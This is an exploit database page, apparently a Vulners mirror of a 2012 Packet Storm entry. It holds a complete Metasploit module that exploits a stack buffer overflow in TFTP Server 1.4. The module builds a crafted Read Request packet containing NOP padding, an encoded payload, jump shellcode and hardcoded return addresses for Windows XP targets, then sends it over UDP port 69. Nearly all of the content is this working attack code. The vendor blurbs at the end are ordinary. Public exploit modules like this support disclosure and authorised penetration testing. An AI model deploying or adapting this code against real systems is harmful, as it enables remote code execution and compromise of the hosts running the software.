Lucene search
+L

TFTP Server 1.4 ST(RRQ) Buffer Overflow

🗓️ 14 May 2012 00:00:00Reported by b33fType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

TFTP server 1.4 ST(RRQ) Buffer Overflo

Code
`  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TFTP server 1.4 ST(RRQ) Buffer overflow',  
'Description' => %q{  
This exploit creats buffer overflow by sending a Read Request (RRQ) packet can also trigger a buffer overflow...   
},  
'Author' => 'JK and b33f',  
'Version' => '',  
'References' =>  
[  
['URL', 'http://securtyresearch.in/'],  
['URL','']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'TFTP server v1.4 Windows XP SP3', { 'Ret' => 0x00409605 } ],  
[ 'TFTP server v1.4 Windows XP SP0', { 'Ret' => 0x00418000 } ]  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 12 2012'))  
  
register_options([Opt::RPORT(69)], self.class)  
end  
  
def exploit  
connect_udp  
stage ="\x00\x01"  
stage << make_nops(50) + payload.encoded  
stage << rand_text_alpha(1487 - (payload.encoded.length+50))  
stage << "\xE9\x2E\xFA\xFF\xFF"  
stage << "\xEB\xF9\x90\x90"  
stage << [target.ret].pack('V')  
stage <<"\x00"  
stage << "netascii"  
stage << "\x00"  
  
#youlose = "\x00\x01" + filename + "\x00"   
udp_sock.put(stage)  
disconnect_udp  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation